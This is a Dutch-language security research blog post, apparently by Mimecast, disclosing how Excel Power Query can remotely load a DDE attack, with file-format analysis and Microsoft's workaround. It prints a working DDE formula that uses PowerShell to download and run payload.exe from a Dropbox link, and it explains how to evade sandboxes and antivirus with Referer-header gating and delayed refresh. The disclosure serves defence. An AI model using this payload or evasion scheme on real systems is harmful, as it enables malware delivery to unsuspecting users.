Dreigingsintelligentie

    Exploit ontdekt door Microsoft Excel Power Query te gebruiken voor DDE-uitvoering op afstand

    Mimecast Threat Center heeft een zwakte ontdekt in de Microsoft Excel-tool die het mogelijk maakt kwaadaardige payloads op afstand in te sluiten.

    by Ofir Shlomo
    gettyimages-860508768.jpg

    Samenvatting

    (Opmerking van de redactie: Het Mimecast Threat Center-team wil graag zijn erkentelijkheid betuigen voor de bijdragen van teamlid Doron Attias aan het volgende onderzoek).

    Het Mimecast Threat Center heeft een techniek gevonden en ontwikkeld die gebruik maakt van een functie in Microsoft Excel, Power Query genaamd, om op afstand dynamisch een Dynamic Data Exchange (DDE)-aanval uit te voeren in een Excel-spreadsheet en de payload Power Query actief te besturen.

    Power Query is een krachtige en schaalbare Business Intelligence (BI)-tool waarmee gebruikers hun spreadsheets kunnen integreren met andere gegevensbronnen, zoals een externe database, een tekstdocument, een andere spreadsheet of een webpagina, om er maar een paar te noemen. Wanneer bronnen zijn gekoppeld, kunnen de gegevens worden geladen en opgeslagen in de spreadsheet, of dynamisch worden geladen (wanneer het document wordt geopend, bijvoorbeeld).

    Het Mimecast Threat Center-team ontdekte dat Power Query ook kon worden gebruikt voor geraffineerde, moeilijk te detecteren aanvallen waarbij verschillende aanvalsgebieden werden gecombineerd. Met Power Query konden aanvallers kwaadaardige inhoud in een afzonderlijke gegevensbron insluiten en deze inhoud vervolgens in de spreadsheet laden wanneer deze wordt geopend. De schadelijke code kan worden gebruikt om malware te droppen en uit te voeren, waardoor de computer van de gebruiker in gevaar kan worden gebracht.

    De functie biedt zulke uitgebreide controlemogelijkheden dat deze kan worden gebruikt om een sandbox of de machine van een slachtoffer te fingerprinten, zelfs voordat er payloads worden afgeleverd. De aanvaller beschikt over potentiële pre-payload- en pre-exploitation-controles en kan een kwaadaardige payload bij het slachtoffer afleveren terwijl het bestand ook onschadelijk lijkt voor een sandbox of andere beveiligingsoplossingen.

    Mimecast werkte samen met Microsoft als onderdeel van het Coordinated Vulnerability Disclosure (CVD) proces om te bepalen of dit een bedoeld gedrag is voor Power Query, of dat het een probleem was dat moest worden aangepakt. Microsoft weigerde op dit moment een fix uit te brengen en bood in plaats daarvan een workaround aan om het probleem te verhelpen.

    Ontvang het nieuwste onderzoek naar bedreigingen van het Mimecast Threat Center in uw inbox. Meld u vandaag nog aan voor Cyber Resilience Insights.

    We geven een gedetailleerde uitleg van een mogelijke aanval waarbij Power Query wordt gebruikt om een DDE aanval te starten die een payload van een file sharing-site kan droppen en uitvoeren.

    Bedreigingen die Power Query gebruiken als aanvalsoppervlak

    Omdat Power Query een krachtig hulpmiddel binnen Microsoft Excel is, is de potentiële dreiging van misbruik van de functie groot. Als er misbruik van wordt gemaakt, kan het worden gebruikt om geavanceerde aanvallen uit te voeren die verschillende potentiële aanvalsgebieden combineren, van lokale privilege-escalatie, DDE-aanvallen en exploits voor code-uitvoering op afstand.

    De Power Query-functie is ontworpen om u in staat te stellen inhoud op afstand eenvoudig en dynamisch in te sluiten. Dergelijke aanvallen zijn meestal moeilijk te detecteren en geven bedreigers meer kansen om de host van het slachtoffer in gevaar te brengen. Door gebruik te maken van de potentiële zwakte van Power Query kunnen aanvallers schadelijke inhoud insluiten die zoals ontworpen niet in het document zelf wordt opgeslagen, maar van het web wordt gedownload wanneer het document wordt geopend.

    Om te demonstreren hoe Power Query gebruikt kan worden om een DDE exploit te lanceren, werd een externe webpagina met de payload in de spreadsheet geladen en kon een aangepaste, eenvoudige HTTP server worden geschreven om de payload te hosten op een webpagina die geserveerd moest worden. De HTTP-server luisterde lokaal op poort 80 en serveerde DDE-inhoud als antwoord wanneer een verzoek werd ontvangen van de spreadsheet.

    =cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe } " ;cmd /c payload.exe'!A1,

    power-query-image-1.png

    De Microsoft Excel 2016-spreadsheet gebruikte Power Query om de gemaakte kwaadaardige webpagina op te vragen ( http://127.0.0.1:80 ).

    power-query-image-2.png

    De inhoud op afstand wordt opgehaald en in de spreadsheet geladen.

    macht-query-afbeelding-2a.jpg

    De Wireshark capture gegevens werden gebruikt om de aanvalsstroom te zien. Het eerste gemarkeerde pakket bevatte de DDE formule: het DNS verzoek voor "dropbox.com" waar de payload.exe, en de HTTPS sessie werden opgeslagen en de payload afleverde.

    macht-query-afbeelding-3.png
    macht-query-afbeelding-4.png

    Analyse van het bestandsformaat

    Bij het onderzoek van het bestandsformaat, zagen we dat "table/table1.xml" was aangemaakt met de eigenschappen "name: "localhost"" (default), en "type: "queryTable." "

    De link tussen de tabel en de specifieke eigenschappen van de querytabel werd beschreven in . "rels"-stroom ("_rels/table1.xml.rels"), die een veld met de naam "target" bevatte en verwees naar "../queryTables/queryTable1.xml". De quetyTable1.xml bevatte gegevens die "connection.xml" (die alle documentverbindingseigenschappen verzamelt) koppelden met behulp van het veld "connectionId". onder ".." De verbinding werd gemaakt met het dbPr object met behulp van het "Select *" commando.

    De web query zelf was opgeslagen in een "xl000XLitem1" document en was gecodeerd in base64.

    macht-query-afbeelding-5a.png

    Na het decoderen van base64, openden we het document "section1" dat erin stond, en dat de query zelf bevatte.

    macht-query-afbeelding-5b.png

    Om de DDE te laten lopen, moet de gebruiker dubbelklikken op de cel die de DDE laadt en vervolgens nogmaals klikken om de cel te ontgrendelen. Deze handelingen zullen de DDE activeren en de payload lanceren die van het web is ontvangen.

    De noodzaak van dubbelklikken omzeilen - geautomatiseerde uitvoering mogelijk maken

    Om het "click for run" probleem te omzeilen, de ontdekking dat in oude versies van Microsoft Office, zijn er enkele verschillen in de "Get External Data>> From Web" implementatie. Zoals vermeld, wordt "dbPr" gemaakt bij gebruik van Microsoft Office 2016, en de gebruiker moet handelen om de payload te activeren (in sommige gevallen, zoals sandboxes, kunnen die klikken een sandbox bypass veroorzaken).

    Wanneer "Get External Data>> From Web" wordt gebruikt in oudere versies van Office (bv. 2010), is het object dat wordt aangemaakt onder "Connections.xml" niet "dbPr" zoals eerder vermeld, maar "webPr," dat veel eenvoudiger is. In tegenstelling tot "dbPr," vereist "webPr" geen gebruikersacties om de payload uit te voeren.

    macht-query-afbeelding-5c.png

    Omzeilen van AV's en Sandboxes met de geëxploiteerde Power Query Tool

    Door headers aan het webverzoek (query) toe te voegen, kon de payload de anti-virus en sandboxing mogelijkheden omzeilen die ontworpen zijn om precies dit soort kwaadaardige inhoud te blokkeren. De webserver serveerde de kwaadaardige inhoud alleen wanneer een specifieke HTTP-header in het verzoek aanwezig was. Het anti-virus haalde de URL van de HTTP server uit het bestand, maar parseerde de headers niet. Toen de AV een testverzoek verzond, wist de server dat dit van de AV kwam en niet van de spreadsheet.

    De DDE wordt alleen geserveerd als de "Referer" HTTP-header is ingesteld op "www.google.com". Anders wordt de inhoud niet geserveerd.

    power-query-image-5d.png

    Door het instellen van de specifieke web header met behulp van Power Query in de "Advanced" mode. Power Query voerde het web verzoek uit met de gevraagde "Referer" header.

    power-query-image-12.png

    Als een andere toepassing probeert het Power Query-gedrag gedeeltelijk te simuleren en de webpagina niet aanvraagt met de juiste "Referer"-header, wordt de payload alleen geserveerd bij het openen van het oorspronkelijke document met de Microsoft Excel-toepassing.

    power-query-image-13.png

    Omdat de sandbox ook de aangepaste header zou versturen als onderdeel van het verzoek, was een nieuwe manier nodig om detectie te voorkomen. De "auto refresh" en "refresh" intervallen werden gebruikt in Power Query, in plaats daarvan.

    power-query-afbeelding-14.png

    Vermijding van kwaadaardige inhoud die dit bestand mogelijk als malware kan markeren door het bestand te dwingen gegevens te vernieuwen bij het openen van het bestand en door gegevens uit het externe gegevensbereik te verwijderen voordat het wordt opgeslagen. Deze eigenschappen zorgen ervoor dat de payload in het bestand wordt bijgewerkt wanneer het bestand wordt geopend. Door het bestand in te stellen om elke minuut te verversen (de minimale tijd) en de payload bij de 10e opvraging te serveren. Dit betekent dat elke sandbox die het bestand in minder dan 10 minuten uitvoert, nooit onze payload krijgt.

    power-query-afbeelding-15.png

    In het geval van het gegeven voorbeeld zullen de meeste statisch-analyserende AV's het bestand (dat niet de payload bevat) niet detecteren en sandboxes of andere beveiligingsoplossingen die de inhoud slechts één of twee keer downloaden zullen het ook missen.

    macht-query-afbeelding-16.png

    Workaround en afsluiting

    Het Mimecast Threat Center-team nam contact op met het Microsoft Security Response Center (MRSC) met onze informatie en een werkend bewijs van concept. MRSC opende een zaak, maar Microsoft besloot dit gedrag niet te verhelpen, en hun antwoord omvatte een workaround door ofwel een Groepsbeleid te gebruiken om externe gegevensverbindingen te blokkeren of het Office Trust center te gebruiken om hetzelfde te bereiken. MRSC accepteerde ons verzoek om dit onderzoek te publiceren volgens het CVD-beleid.

    Microsoft heeft een advisory (4053440) gepubliceerd waarin stappen en procedures worden aangegeven om informatie te verstrekken met betrekking tot beveiligingsinstellingen voor Microsoft Office-toepassingen. Deze advisory geeft richtlijnen over wat gebruikers kunnen doen om ervoor te zorgen dat deze toepassingen goed beveiligd zijn bij het verwerken van Dynamic Data Exchange-velden.

    Aanvallers proberen de detecties die slachtoffers hebben te omzeilen. Hoewel er een kans bestaat dat dit soort aanvallen na verloop van tijd wordt gedetecteerd, aangezien informatie over bedreigingen wordt gedeeld tussen verschillende beveiligingsexperts en platforms voor het delen van informatie, raadt Mimecast alle Microsoft Excel-klanten ten zeerste aan de door Microsoft voorgestelde workarounds te implementeren, aangezien de potentiële bedreiging voor deze Microsoft-gebruikers reëel is en de exploit schadelijk kan zijn.

    Mimecast Targeted Threat Protection spoort het gebruik van deze techniek op en blokkeert het, door gebruik te maken van geavanceerde deep parsing en de-obfuscation, na een realtime code-analyse van elk geanalyseerd bestand.

    Abonneer u op Cyber Resilience Insights voor meer artikelen zoals deze

    Ontvang al het laatste nieuws en analyses over de cyberbeveiligingsindustrie rechtstreeks in uw inbox

    Succesvol aanmelden

    Dank u voor uw inschrijving om updates van onze blog te ontvangen

    We houden contact!

    Terug naar boven